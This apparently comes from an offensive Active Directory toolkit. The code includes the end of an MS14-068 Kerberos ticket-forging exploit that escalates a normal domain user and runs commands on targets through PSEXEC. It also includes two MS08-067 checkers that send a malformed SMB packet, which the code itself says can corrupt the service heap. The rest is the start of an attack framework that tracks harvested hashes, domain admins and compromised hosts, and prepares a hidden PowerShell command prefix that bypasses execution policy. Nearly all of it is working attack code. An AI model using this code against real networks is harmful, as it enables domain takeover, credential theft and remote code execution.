resp = hLsarQueryInformationPolicy2(dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
dce.disconnect()
forestSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
logging.info("Forest SID: %s"% forestSid)
return forestSid
def getDomainControllers(self):
logging.debug('Calling DRSDomainControllerInfo()')
stringBinding = epm.hept_map(self.__domain, MSRPC_UUID_DRSUAPI, protocol = 'ncacn_ip_tcp')
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)
dce = rpctransport.get_dce_rpc()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.connect()
dce.bind(MSRPC_UUID_DRSUAPI)
request = DRSBind()
request['puuidClientDsa'] = NTDSAPI_CLIENT_GUID
drs = DRS_EXTENSIONS_INT()
drs['cb'] = len(drs) #- 4
drs['dwFlags'] = DRS_EXT_GETCHGREQ_V6 | DRS_EXT_GETCHGREPLY_V6 | DRS_EXT_GETCHGREQ_V8 | DRS_EXT_STRONG_ENCRYPTION
drs['SiteObjGuid'] = NULLGUID
drs['Pid'] = 0
drs['dwReplEpoch'] = 0
drs['dwFlagsExt'] = 0
drs['ConfigObjGUID'] = NULLGUID
drs['dwExtCaps'] = 127
request['pextClient']['cb'] = len(drs)
request['pextClient']['rgb'] = list(str(drs))
resp = dce.request(request)
dcs = hDRSDomainControllerInfo(dce, resp['phDrs'], self.__domain, 1)
dce.disconnect()
domainControllers = list()
for dc in dcs['pmsgOut']['V1']['rItems']:
logging.debug('Found domain controller %s' % dc['DnsHostName'][:-1])
domainControllers.append(dc['DnsHostName'][:-1])
return domainControllers
def getUserSID(self):
stringBinding = r'ncacn_np:%s[\pipe\samr]' % self.__kdcHost
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
resp = samr.hSamrConnect(dce)
serverHandle = resp['ServerHandle']
resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, self.__domain)
domainId = resp['DomainId']
resp = samr.hSamrOpenDomain(dce, serverHandle, domainId = domainId)
domainHandle = resp['DomainHandle']
resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, (self.__username,))
# Let's pick the relative ID
rid = resp['RelativeIds']['Element'][0]['Data']
logging.info("User SID: %s-%s"% (domainId.formatCanonical(), rid))
return domainId, rid
def getOutput(self):
return totalOutput
def exploit(self):
if self.__kdcHost is None:
getDCs = True
self.__kdcHost = self.__domain
else:
getDCs = False
self.__domainSid, self.__rid = self.getUserSID()
try:
self.__forestSid = self.getForestSid()
except Exception, e:
# For some reason we couldn't get the forest data. No problem, we can still continue
# Only drawback is we won't get forest admin if successful
logging.error('Couldn\'t get forest info (%s), continuing' % str(e))
self.__forestSid = None
if getDCs is False:
# User specified a DC already, no need to get the list
self.__domainControllers.append(self.__kdcHost)
else:
self.__domainControllers = self.getDomainControllers()
userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
for dc in self.__domainControllers:
logging.info('Attacking domain controller %s' % dc)
self.__kdcHost = dc
exception = None
while True:
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
self.__lmhash, self.__nthash, None,
self.__kdcHost, requestPAC=False)
except KerberosError, e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash is '' and self.__nthash is '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
continue
else:
exception = str(e)
break
else:
exception = str(e)
break
# So, we have the TGT, now extract the new session key and finish
asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]
# If the cypher in use != RC4 there's gotta be a salt for us to use
salt = ''
if asRep['padata']:
for pa in asRep['padata']:
if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
etype2 = decoder.decode(str(pa['padata-value'])[2:], asn1Spec = ETYPE_INFO2_ENTRY())[0]
salt = str(etype2['salt'])
cipherText = asRep['enc-part']['cipher']
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
if self.__nthash != '':
key = Key(cipher.enctype,self.__nthash)
else:
key = cipher.string_to_key(self.__password, salt, None)
plainText = cipher.decrypt(key, 3, str(cipherText))
encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
authTime = encASRepPart['authtime']
serverName = Principal('krbtgt/%s' % self.__domain.upper(),
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, self.__domain, self.__kdcHost, tgt,
cipher, sessionKey, authTime)
# We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)
try:
tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, self.__domain,
self.__kdcHost, tgs, cipher,
sessionKey)
except KerberosError, e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash is '' and self.__nthash is '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
else:
exception = str(e)
break
else:
exception = str(e)
break
else:
# Everything went well, let's save the ticket if asked and leave
if self.__writeTGT is not None:
from impacket.krb5.ccache import CCache
ccache = CCache()
ccache.fromTGS(tgs, oldSessionKey, sessionKey)
ccache.saveFile(self.__writeTGT)
break
if exception is None:
# Success!
logging.info('%s found vulnerable!' % dc)
break
else:
logging.info('%s seems not vulnerable (%s)' % (dc, exception))
if exception is None:
TGS = {}
TGS['KDC_REP'] = tgsCIFS
TGS['cipher'] = cipher
TGS['oldSessionKey'] = oldSessionKeyCIFS
TGS['sessionKey'] = sessionKeyCIFS
from impacket.smbconnection import SMBConnection as SMBConnection2
if self.__targetIp is None:
s = SMBConnection2('*SMBSERVER', self.__target)
else:
s = SMBConnection2('*SMBSERVER', self.__targetIp)
s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS,
useCache=False)
if self.__command != 'None':
executer = PSEXEC1(self.__command, self.__username, self.__domain, s, TGS, self.__copyFile)
executer.run(self.__target)
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
import argparse
import sys
try:
import pyasn1
except ImportError:
logging.critical('This module needs pyasn1 installed')
logging.critical('You can get it from https://pypi.python.org/pypi/pyasn1')
sys.exit(1)
import datetime
from calendar import timegm
from time import strptime
from impacket import version
from impacket.smbserver import getFileTime
from impacket.dcerpc.v5 import samr
from impacket.dcerpc.v5 import transport
from impacket.krb5.types import Principal, Ticket, KerberosTime
from impacket.krb5 import constants
from impacket.krb5.kerberosv5 import sendReceive, getKerberosTGT, getKerberosTGS, KerberosError
from impacket.krb5.asn1 import AS_REP, TGS_REQ, AP_REQ, TGS_REP, Authenticator, EncASRepPart, AuthorizationData, \
AD_IF_RELEVANT, seq_set, seq_set_iter, KERB_PA_PAC_REQUEST, \
EncTGSRepPart, ETYPE_INFO2_ENTRY
from impacket.krb5.crypto import Key
from impacket.dcerpc.v5.ndr import NDRULONG
from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \
SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD
from pyasn1.codec.der import decoder, encoder
from Crypto.Hash import MD5
print version.BANNER
parser = argparse.ArgumentParser(add_help=True,
description="MS14-068 Exploit. It establishes a SMBConnection and PSEXEcs the "
"target or saves the TGT for later use.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName>')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('command', nargs='*', default=' ',
help='command (or arguments if -c is used) to execute at the target (w/o path). Defaults to '
'cmd.exe. \'None\' will not execute PSEXEC (handy if you just want to save the ticket)')
parser.add_argument('-c', action='store', metavar="pathname",
help='uploads the filename for later execution, arguments are passed in the command option')
parser.add_argument('-w', action='store', metavar="pathname",
help='writes the golden ticket in CCache format into the <pathname> file')
parser.add_argument('-dc-ip', action='store', metavar="ip address",
help='IP Address of the domain controller (needed to get the user''s SID). If ommited it use '
'the domain part (FQDN) specified in the target parameter')
parser.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target host you want to attack. If ommited it will use the targetName '
'parameter')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
if len(sys.argv)==1:
parser.print_help()
print "\nExamples: "
print "\tpython goldenPac domain.net/normaluser@domain-host\n"
print "\tthe password will be asked, or\n"
print "\tpython goldenPac.py domain.net/normaluser:mypwd@domain-host\n"
print "\tif domain.net and/or domain-machine do not resolve, add them"
print "\tto the hosts file or explicity specify the domain IP (e.g. 1.1.1.1) and target IP:\n"
print "\tpython goldenPac.py -dc-ip 1.1.1.1 -target-ip 2.2.2.2 domain.net/normaluser:mypwd@domain-host\n"
print "\tThis will upload the xxx.exe file and execute it as: xxx.exe param1 param2 paramn"
print "\tpython goldenPac.py -c xxx.exe domain.net/normaluser:mypwd@domain-host param1 param2 paramn\n"
sys.exit(1)
options = parser.parse_args()
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if domain is '':
logging.critical('Domain should be specified!')
sys.exit(1)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
if password == '' and username != '' and options.hashes is None:
from getpass import getpass
password = getpass("Password:")
commands = ' '.join(options.command)
if commands == ' ':
commands = 'cmd.exe'
dumper = MS14_068(address, options.target_ip, username, password, domain, options.hashes, commands, options.c,
options.w, options.dc_ip)
try:
dumper.exploit()
except Exception, e:
#import traceback
#print traceback.print_exc()
logging.critical(str(e))
================================================
FILE: deps/ms08-067_check.py
================================================
#!/usr/bin/env python
'''
Name: Microsoft Server Service Remote Path Canonicalization Stack Overflow Vulnerability
Description:
Anonymously check if a target machine is affected by MS08-067 (Vulnerability in Server Service Could Allow Remote Code Execution)
Author: Bernardo Damele A. G. <bernardo.damele@gmail.com>
License: Modified Apache 1.1
Version: 0.6
References:
* BID: 31874
* CVE: 2008-4250
* MSB: MS08-067
* VENDOR: http://blogs.technet.com/swi/archive/2008/10/25/most-common-questions-that-we-ve-been-asked-regarding-ms08-067.aspx
* VENDOR: http://www.microsoft.com/technet/security/advisory/958963.mspx
* MISC: http://www.phreedom.org/blog/2008/decompiling-ms08-067/
* MISC: http://metasploit.com/dev/trac/browser/framework3/trunk/modules/exploits/windows/smb/ms08_067_netapi.rb
* MISC: http://blog.threatexpert.com/2008/10/gimmiva-exploits-zero-day-vulnerability.html
* MISC: http://blogs.securiteam.com/index.php/archives/1150
Tested:
* Windows 2000 Server Service Pack 0
* Windows 2000 Server Service Pack 4 with Update Rollup 1
* Microsoft 2003 Standard Service Pack 1
* Microsoft 2003 Standard Service Pack 2 Full Patched at 22nd of October 2008, before MS08-067 patch was released
Notes:
* On Windows XP SP2 and SP3 this check might lead to a race condition and
heap corruption in the svchost.exe process, but it may not crash the
service immediately: it can trigger later on inside any of the shared
services in the process.
'''
import socket
import sys
from optparse import OptionError
from optparse import OptionParser
from random import choice
from string import letters
from struct import pack
from threading import Thread
from traceback import format_exc
#try:
from impacket import smb
from impacket import uuid
from impacket import dcerpc
from impacket.dcerpc.v5 import transport
#from impacket.dcerpc import dcerpc
#from impacket.dcerpc import transport
#except ImportError, _:
# print 'ERROR: this tool requires python-impacket library to be installed, get it '
# print 'from http://oss.coresecurity.com/projects/impacket.html or apt-get install python-impacket'
# sys.exit(1)
try:
from ndr import *
except ImportError, _:
print 'ERROR: this tool requires python-pymsrpc library to be installed, get it '
print 'from http://code.google.com/p/pymsrpc/'
sys.exit(1)
CMDLINE = True
SILENT = False
class connectionException(Exception):
pass
class MS08_067(Thread):
def __init__(self, target, port=445):
super(MS08_067, self).__init__()
self.__port = port
self.target = target
self.status = 'unknown'
def __checkPort(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect((self.target, self.__port))
s.close()
except socket.timeout, _:
raise connectionException, 'connection timeout'
except socket.error, _:
raise connectionException, 'connection refused'
def __connect(self):
try:
self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
self.__trans.connect()
except smb.SessionError, _:
raise connectionException, 'access denied (RestrictAnonymous is probably set to 2)'
except:
#raise Exception, 'unhandled exception (%s)' % format_exc()
print "unexpected exception"
raise connectionException, 'unexpected exception'
def __bind(self):
'''
DCERPC bind to SRVSVC (Server Service) endpoint
Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_srvsvc.html
'''
try:
self.__dce = self.__trans.DCERPC_class(self.__trans)
self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
except socket.error, _:
raise connectionException, 'unable to bind to SRVSVC endpoint'
except:
#raise Exception, 'unhandled exception (%s)' % format_exc()
raise connectionException, 'unexpected exception'
def __forgePacket(self):
'''
Forge the malicious NetprPathCompare packet
Reference: http://msdn.microsoft.com/en-us/library/cc247259.aspx
long NetprPathCompare(
[in, string, unique] SRVSVC_HANDLE ServerName,
[in, string] WCHAR* PathName1,
[in, string] WCHAR* PathName2,
[in] DWORD PathType,
[in] DWORD Flags
);
'''
self.__path = ''.join([choice(letters) for _ in xrange(0, 3)])
self.__request = ndr_unique(pointer_value=0x00020000, data=ndr_wstring(data='')).serialize()
self.__request += ndr_wstring(data='\\%s\\..\\%s' % ('A'*5, self.__path)).serialize()
self.__request += ndr_wstring(data='\\%s' % self.__path).serialize()
self.__request += ndr_long(data=1).serialize()
self.__request += ndr_long(data=0).serialize()
def __compare(self):
'''
Compare NetprPathCompare response field 'Windows Error' with the
expected value (WERR_OK) to confirm the target is vulnerable
'''
self.__vulnerable = pack('<L', 0)
# The target is vulnerable if the NetprPathCompare response field
# 'Windows Error' is WERR_OK (0x00000000)
if self.__response == self.__vulnerable:
self.status = 'VULNERABLE'
else:
self.status = 'not vulnerable'
self.result()
def result(self):
if self.status in ('VULNERABLE', 'not vulnerable'):
print '%s: %s' % (self.target, self.status)
else:
print '%s: %s' % (self.target, self.status)
def run(self):
try:
self.__checkPort()
self.__connect()
self.__bind()
print "here"
except connectionException, e:
self.status = e
self.result()
#return None
return e
# Forge and send the NetprPathCompare operation malicious packet
self.__forgePacket()
self.__dce.call(32, self.__request)
# Get back the NetprPathCompare response and check if it is vulnerable
self.__response = self.__dce.recv()
self.__compare()
#if __name__ == '__main__':
# CMDLINE = True
# target=sys.argv[1]
# current = MS08_067(target)
# current.start()
================================================
FILE: deps/ms08_067.py
================================================
#!/usr/bin/env python
'''
Name: Microsoft Server Service Remote Path Canonicalization Stack Overflow Vulnerability
Description:
Anonymously check if a target machine is affected by MS08-067 (Vulnerability in Server Service Could Allow Remote Code Execution)
Author: Bernardo Damele A. G. <bernardo.damele@gmail.com>
License: Modified Apache 1.1
Version: 0.6
References:
* BID: 31874
* CVE: 2008-4250
* MSB: MS08-067
* VENDOR: http://blogs.technet.com/swi/archive/2008/10/25/most-common-questions-that-we-ve-been-asked-regarding-ms08-067.aspx
* VENDOR: http://www.microsoft.com/technet/security/advisory/958963.mspx
* MISC: http://www.phreedom.org/blog/2008/decompiling-ms08-067/
* MISC: http://metasploit.com/dev/trac/browser/framework3/trunk/modules/exploits/windows/smb/ms08_067_netapi.rb
* MISC: http://blog.threatexpert.com/2008/10/gimmiva-exploits-zero-day-vulnerability.html
* MISC: http://blogs.securiteam.com/index.php/archives/1150
Tested:
* Windows 2000 Server Service Pack 0
* Windows 2000 Server Service Pack 4 with Update Rollup 1
* Microsoft 2003 Standard Service Pack 1
* Microsoft 2003 Standard Service Pack 2 Full Patched at 22nd of October 2008, before MS08-067 patch was released
Notes:
* On Windows XP SP2 and SP3 this check might lead to a race condition and
heap corruption in the svchost.exe process, but it may not crash the
service immediately: it can trigger later on inside any of the shared
services in the process.
'''
import socket
import sys
from optparse import OptionError
from optparse import OptionParser
from random import choice
from string import letters
from struct import pack
from threading import Thread
from traceback import format_exc
#try:
from impacket import smb
from impacket import uuid
from impacket import dcerpc
from impacket.dcerpc.v5 import transport
#from impacket.dcerpc import dcerpc
#from impacket.dcerpc import transport
#except ImportError, _:
# print 'ERROR: this tool requires python-impacket library to be installed, get it '
# print 'from http://oss.coresecurity.com/projects/impacket.html or apt-get install python-impacket'
# sys.exit(1)
try:
from ndr import *
except ImportError, _:
print 'ERROR: this tool requires python-pymsrpc library to be installed, get it '
print 'from http://code.google.com/p/pymsrpc/'
sys.exit(1)
CMDLINE = False
SILENT = False
class connectionException(Exception):
pass
class MS08_067(Thread):
def __init__(self, target, port=445):
super(MS08_067, self).__init__()
self.__port = port
self.target = target
self.status = 'unknown'
def __checkPort(self):
'''
Open connection to TCP port to check if it is open
'''
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect((self.target, self.__port))
s.close()
except socket.timeout, _:
raise connectionException, 'connection timeout'
except socket.error, _:
raise connectionException, 'connection refused'
def __connect(self):
'''
SMB connect to the Computer Browser service named pipe
Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_browser.html
'''
try:
self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
self.__trans.connect()
except smb.SessionError, _:
raise connectionException, 'access denied (RestrictAnonymous is probably set to 2)'
except:
#raise Exception, 'unhandled exception (%s)' % format_exc()
raise connectionException, 'unexpected exception'
def __bind(self):
'''
DCERPC bind to SRVSVC (Server Service) endpoint
Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_srvsvc.html
'''
try:
self.__dce = self.__trans.DCERPC_class(self.__trans)
self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
except socket.error, _:
raise connectionException, 'unable to bind to SRVSVC endpoint'
except:
#raise Exception, 'unhandled exception (%s)' % format_exc()
raise connectionException, 'unexpected exception'
def __forgePacket(self):
'''
Forge the malicious NetprPathCompare packet
Reference: http://msdn.microsoft.com/en-us/library/cc247259.aspx
long NetprPathCompare(
[in, string, unique] SRVSVC_HANDLE ServerName,
[in, string] WCHAR* PathName1,
[in, string] WCHAR* PathName2,
[in] DWORD PathType,
[in] DWORD Flags
);
'''
self.__path = ''.join([choice(letters) for _ in xrange(0, 3)])
self.__request = ndr_unique(pointer_value=0x00020000, data=ndr_wstring(data='')).serialize()
self.__request += ndr_wstring(data='\\%s\\..\\%s' % ('A'*5, self.__path)).serialize()
self.__request += ndr_wstring(data='\\%s' % self.__path).serialize()
self.__request += ndr_long(data=1).serialize()
self.__request += ndr_long(data=0).serialize()
def __compare(self):
'''
Compare NetprPathCompare response field 'Windows Error' with the
expected value (WERR_OK) to confirm the target is vulnerable
'''
self.__vulnerable = pack('<L', 0)
# The target is vulnerable if the NetprPathCompare response field
# 'Windows Error' is WERR_OK (0x00000000)
if self.__response == self.__vulnerable:
self.status = 'VULNERABLE'
else:
self.status = 'not vulnerable'
self.result()
def result(self):
if CMDLINE == True and self.status in ('VULNERABLE', 'not vulnerable'):
print '%s: %s' % (self.target, self.status)
elif CMDLINE == True and SILENT != True:
print '%s: %s' % (self.target, self.status)
def run(self):
try:
self.__checkPort()
self.__connect()
self.__bind()
except connectionException, e:
self.status = e
self.result()
return None
# Forge and send the NetprPathCompare operation malicious packet
self.__forgePacket()
self.__dce.call(32, self.__request)
# Get back the NetprPathCompare response and check if it is vulnerable
self.__response = self.__dce.recv()
self.__compare()
if __name__ == '__main__':
CMDLINE = True
target=sys.argv[1]
current = MS08_067(target)
current.start()
================================================
FILE: deps/ms14_068.py
================================================
#/usr/bin/env python
# -*- coding: utf-8 -*-
from psexec import *
from wmiexec import *
from secretsdump import *
from goldenPac import *
from Crypto import Random
from Crypto.Cipher import AES
from Crypto.Hash import MD5
from base64 import b64decode
from base64 import b64encode
from binascii import unhexlify
from calendar import timegm
from dns import reversename, resolver
from impacket import tds
from impacket import version
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5 import transport, rrp, scmr, rpcrt
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_NONE
from impacket.examples import logger
from impacket.structure import Structure
from impacket.system_errors import ERROR_NO_MORE_ITEMS
from impacket.tds import TDS_ERROR_TOKEN, TDS_LOGINACK_TOKEN
from impacket.winregistry import hexdump
from multiprocessing import Pool
from multiprocessing import Pool
from netaddr import IPNetwork
from nmb.NetBIOS import NetBIOS
from os import kill
from pyasn1.codec.der import decoder, encoder
from signal import alarm, signal, SIGALRM, SIGKILL
from smb.SMBConnection import SMBConnection as SMBConnection1
from socket import *
from struct import *
from struct import unpack
from subprocess import Popen
from subprocess import Popen, PIPE
from tabulate import tabulate
from termcolor import colored, cprint
from threading import Thread, Lock
from time import strptime
import Crypto.Cipher.DES
import Queue
import argparse
import base64
import binascii
import cmd
import codecs
import commands
import datetime
import logging
import ntpath
import optparse
import os
import pyasn1
import random
import re
import socket
import socket,commands,sys
import string
import subprocess
import sys
import tempfile
import threading
import time
import unicodedata
import xmltodict
from SocketServer import ThreadingMixIn, ForkingMixIn
from BaseHTTPServer import HTTPServer
from SimpleHTTPServer import SimpleHTTPRequestHandler
try:
import pyasn1
except ImportError:
logging.critical('This module needs pyasn1 installed')
logging.critical('You can get it from https://pypi.python.org/pypi/pyasn1')
sys.exit(1)
'''
Prerequisites
apt install autoconf automake autopoint libtool pkg-config
git clone https://github.com/libyal/libesedb.git
cd libesedb/
./synclibs.sh
./autogen.sh
git clone https://github.com/csababarta/ntdsxtract
cd ntdsxtract
python setup.py install
'''
optionMS14068=False
optionTokenPriv=False
demo=True
debugMode=False
verbose=False
runAllModules=True
client_machine_name = 'localpcname'
totalAns=""
vulnStatus=False
appPath='/pentest/impacket/examples/'
bold=True
origScriptPath=os.getcwd()
domainAdminList=[]
#domainUserList=[]
localUserList=[]
attemptedCredList=[]
outputBuffer1 = ''
tmpRegResultList1 = []
tmpRegResultList2 = []
tmpRegResultList3 = []
hashList=[]
passList=[]
userPassList=[]
userHashList=[]
daPassList=[]
verbose=False
netbiosName=""
liveList=[]
ipList=[]
folderDepth=4
dcCompromised=False
rdpList=[]
nbList=[]
dcList=[]
mssqlList=[]
accessOKHostList=[]
accessAdmHostList=[]
uncompromisedHostList=[]
powershellCmdStart='powershell -Sta -executionpolicy bypass -noninteractive -nologo -window hidden '
class ThreadingSimpleServer(ThreadingMixIn, HTTPServer):
pass
class ForkingSimpleServer(ForkingMixIn, HTTPServer):
pass
class colors:
def __init__(self):
self.green = "\033[92m"
self.blue = "\033[94m"
self.bold = "\033[1m"
self.yellow = "\033[93m"
self.red = "\033[91m"
self.end = "\033[0m"
color = colors()
class RemoteOperationsReg:
def __init__(
self,
smbConnection,
doKerberos,
kdcHost=None,
):
self.__smbConnection = smbConnection
self.__smbConnection.setTimeout(5 * 60)
self.__serviceName = 'RemoteRegistry'
self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
self.__rrp = None
self.__regHandle = None
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__disabled = False
self.__shouldStop = False
self.__started = False
self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
self.__scmr = None
def getRRP(self):
return self.__rrp
def __connectSvcCtl(self):
rpc = \
transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
rpc.set_smb_connection(self.__smbConnection)
self.__scmr = rpc.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
def connectWinReg(self):
rpc = \
transport.DCERPCTransportFactory(self.__stringBindingWinReg)
rpc.set_smb_connection(self.__smbConnection)
self.__rrp = rpc.get_dce_rpc()
self.__rrp.connect()
self.__rrp.bind(rrp.MSRPC_UUID_RRP)
def __checkServiceStatus(self):
# Open SC Manager
ans = scmr.hROpenSCManagerW(self.__scmr)
self.__scManagerHandle = ans['lpScHandle']
# Now let's open the service
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle,
self.__serviceName)
self.__serviceHandle = ans['lpServiceHandle']
# Let's check its status
ans = scmr.hRQueryServiceStatus(self.__scmr,
self.__serviceHandle)
if ans['lpServiceStatus']['dwCurrentState'] \
== scmr.SERVICE_STOPPED:
logging.info('Service %s is in stopped state'
% self.__serviceName)
self.__shouldStop = True
self.__started = False
elif ans['lpServiceStatus']['dwCurrentState'] \
== scmr.SERVICE_RUNNING:
logging.debug('Service %s is already running'
% self.__serviceName)
self.__shouldStop = False
self.__started = True
else:
raise Exception('Unknown service state 0x%x - Aborting'
% ans['CurrentState'])
# Let's check its configuration if service is stopped, maybe it's disabled :s
if self.__started is False:
ans = scmr.hRQueryServiceConfigW(self.__scmr,
self.__serviceHandle)
if ans['lpServiceConfig']['dwStartType'] == 0x4:
logging.info('Service %s is disabled, enabling it'
% self.__serviceName)
self.__disabled = True
scmr.hRChangeServiceConfigW(self.__scmr,
self.__serviceHandle, dwStartType=0x3)
logging.info('Starting service %s' % self.__serviceName)
scmr.hRStartServiceW(self.__scmr, self.__serviceHandle)
time.sleep(1)
def enableRegistry(self):
self.__connectSvcCtl()
self.__checkServiceStatus()
self.connectWinReg()
def __restore(self):
# First of all stop the service if it was originally stopped
if self.__shouldStop is True:
logging.info('Stopping service %s' % self.__serviceName)
scmr.hRControlService(self.__scmr, self.__serviceHandle,
scmr.SERVICE_CONTROL_STOP)
if self.__disabled is True:
logging.info('Restoring the disabled state for service %s'
% self.__serviceName)
scmr.hRChangeServiceConfigW(self.__scmr,
self.__serviceHandle, dwStartType=0x4)
def finish(self):
self.__restore()
if self.__rrp is not None:
self.__rrp.disconnect()
if self.__scmr is not None:
self.__scmr.disconnect()
class RegHandler:
def __init__(
self,
targetIP,
domain,
username,
password,
passwordHash,
keyName,
selectedKey,
):
self.__username = username
self.__password = password
self.__domain = domain
self.__action = 'QUERY'
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = None
self.__doKerberos = None
self.__kdcHost = None
self.__smbConnection = None
self.__remoteOps = None
self.__port = 445
self.__keyName = keyName
self.__selectedKey = selectedKey
# It's possible that this is defined somewhere, but I couldn't find where
self.__regValues = {
0: 'REG_NONE',
1: 'REG_SZ',
2: 'REG_EXPAND_SZ',
0x3: 'REG_BINARY',
0x4: 'REG_DWORD',
5: 'REG_DWORD_BIG_ENDIAN',
6: 'REG_LINK',
7: 'REG_MULTI_SZ',
11: 'REG_QWORD',
}
if passwordHash is not None:
(self.__lmhash, self.__nthash) = passwordHash.split(':')
def connect(self, remoteName, remoteHost):
self.__smbConnection = SMBConnection2(remoteName, remoteHost,
sess_port=int(self.__port))
if self.__doKerberos:
self.__smbConnection.kerberosLogin(
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
self.__kdcHost,
)
else:
try:
self.__smbConnection.login(self.__username,
self.__password, self.__domain, self.__lmhash,
self.__nthash)
except Exception, e:
if 'bad username or authentication information' \
in str(e):
if len(self.__lmhash) < 1 and len(self.__nthash) \
< 1:
if [targetIP, 'Access Denied', self.__username
+ '|' + self.__password, None] \
not in tmpRegResultList3:
tmpRegResultList3.append([targetIP,
'Access Denied', self.__username
+ '|' + self.__password, None])
else:
tmpRegResultList3.append([targetIP,
'Access Denied', 'Invalid credentials: '
+ self.__username + '|'
+ self.__lmhash + ':' + self.__nthash,
None])
pass
def run(self, remoteName, remoteHost):
self.connect(remoteName, remoteHost)
self.__remoteOps = RemoteOperationsReg(self.__smbConnection,
self.__doKerberos, self.__kdcHost)
try:
self.__remoteOps.enableRegistry()
except Exception, e:
# logging.debug(str(e))
# logging.warning('Cannot check RemoteRegistry status. Hoping it is started...')
self.__remoteOps.connectWinReg()
try:
dce = self.__remoteOps.getRRP()
if self.__action == 'QUERY':
results = self.query(dce, self.__keyName,
self.__selectedKey)
return (results, True)
else:
logging.error('Method %s not implemented yet!'
% self.__action)
except (Exception, KeyboardInterrupt), e:
# import traceback
# traceback.print_exc()
# here
results = str(e)
return (results, False)
finally:
# logging.critical(str(e))
if self.__remoteOps:
self.__remoteOps.finish()
def query(
self,
dce,
keyName,
selectedKey,
):
# Let's strip the root key
try:
rootKey = keyName.split('\\')[0]
